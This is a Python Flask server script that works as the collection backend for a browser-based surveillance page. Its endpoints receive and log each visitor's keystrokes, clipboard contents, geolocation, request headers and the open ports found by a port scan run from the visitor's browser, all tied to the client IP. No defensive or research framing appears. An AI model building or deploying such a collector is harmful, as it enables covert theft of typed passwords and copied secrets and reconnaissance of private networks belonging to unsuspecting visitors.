app.py

from flask import Flask, request, jsonify, render_template
import json
import requests
import os

ip_set_for_log = set() #don't save more than one
ip_set_for_portscan = set() #don't save more than one


app = Flask(__name__)

# Create the logs directory path
log_directory = "logs"

# Create the directory if it does not exist
if not os.path.exists(log_directory):
    os.makedirs(log_directory)

# Update the file paths
general_log_file = os.path.join(log_directory, 'logs.json')
port_scan_file = os.path.join(log_directory, "scan.json")
keylogger_file = os.path.join(log_directory, "keylogger.json")
geo_location_file = os.path.join(log_directory, "geolocation.json")
clipboard_file = os.path.join(log_directory, 'clipboard.json')

# Creating the log files if they do not exist
for file_path in [general_log_file, port_scan_file, keylogger_file, geo_location_file, clipboard_file]:
    if not os.path.exists(file_path):
        with open(file_path, 'w') as f:
            f.write('')


def get_real_ip():
    if request.headers.get('X-Forwarded-For'):
        # The first IP in X-Forwarded-For is the client's real IP
        return request.headers.get('X-Forwarded-For').split(',')[0].strip()
    elif request.headers.get('X-Real-IP'):
        return request.headers.get('X-Real-IP')
    else:
        return request.remote_addr
    
    
@app.route('/')
def index():    
    # Return the main page template
    return render_template('index.html')

@app.route('/admin')
def nmap():
    # Render the admin page
    return render_template('admin.html')

# def ip_lookup(ip="127.0.0.1"):
#     # IP address lookup function
#     url = "https://api.incolumitas.com/"
#     params = {
#         'q': ip
#     }
#     response = requests.get(url, params=params, verify=False)

#     # If the request is successful
#     if response.status_code == 200:
#         lookup = response.json()  # Parse the JSON response
#     else:
#         print(f"Lookup unsuccessful, status code: {response.status_code}")

#     return lookup

@app.route('/ports', methods=['POST'])
def scan_results():
    global ip_set_for_portscan
    
    # Get the incoming JSON data
    data = request.json
    if not data or 'open_ports' not in data:
        return jsonify({"error": "Invalid data"}), 400

    ip = get_real_ip()
    open_ports = data['open_ports']
    
    # Check if the IP has already been processed
    if ip not in ip_set_for_portscan:
        ip_set_for_portscan.add(ip)
        
        scan_results = {
            "IP": ip,
            "Open Ports": open_ports
        }

        # Save the results to the file
        with open(port_scan_file, 'a') as file:
            file.write(json.dumps(scan_results) + '\n')

    return jsonify({"status": "success"}), 200


@app.route('/log', methods=['POST'])
def log_data():
    global ip_set_for_log

    # Get the incoming JSON data
    data = request.json
    
    client_ip = get_real_ip()  # Get the IP address of the request
    request_method = request.method  # Get the request method (GET, POST, etc.)
    request_url = request.url  # Get the request URL
    request_headers = dict(request.headers)  # Get the request headers

    #log one time
    if client_ip not in ip_set_for_log:
        ip_set_for_log.add(client_ip)
        
        # Prepare the log entry
        log_entry = {
            "client_ip": client_ip,
            "request_method": request_method,
            "request_url": request_url,
            "request_headers": request_headers,
            "js_data": data,
            #"ip_lookup": ip_lookup(client_ip)  # don't need
        }

        # Write the log entry to the file
        with open(general_log_file, "a") as f:
            json.dump(log_entry, f, indent=4)
            f.write("\n")

    return jsonify({"status": "success"}), 200

# Endpoint for handling geolocation data
@app.route('/log-geolocation', methods=['POST'])
def log_geolocation():
    data = request.get_json()  # Get JSON data from the request
    
    if data:
        client_ip = get_real_ip()
        
        # Add the IP address to the data
        geo_data_with_ip = {
            "ip": client_ip,
            **data
        }

        with open(geo_location_file, 'a') as f:
            f.write(json.dumps(geo_data_with_ip) + '\n')
        return jsonify({'status': 'success'}), 200
    return jsonify({'status': 'error', 'message': 'No data received'}), 400

@app.route('/clipboard-data', methods=['POST'])
def receive_data():

    data = request.json
    if not data or 'data' not in data:
        return jsonify({"error": "Invalid data"}), 400

    clipboard_data = data['data']
    ip = get_real_ip()
    
    clipboard_entry = {
        "IP": ip,
        "Clipboard Data": clipboard_data
    }

    with open(clipboard_file, 'a') as file:
        file.write(json.dumps(clipboard_entry) + '\n')

    return jsonify({"status": "success"}), 200


@app.route('/log-keypress', methods=['POST'])
def logger():
    # Get the incoming JSON data
    data = request.json
    client_ip = get_real_ip()  # Get the IP address of the request

    # Add the IP address to the data
    data_with_ip = {
        "ip": client_ip,
        **data
    }

    # Write the keypress logs to the file
    with open(keylogger_file, "a") as f:
        json.dump(data_with_ip, f)
        f.write("\n")

    return jsonify({"status": "success"}), 200





if __name__ == '__main__':
    # Start the Flask application
    app.run(host="0.0.0.0", port=5000)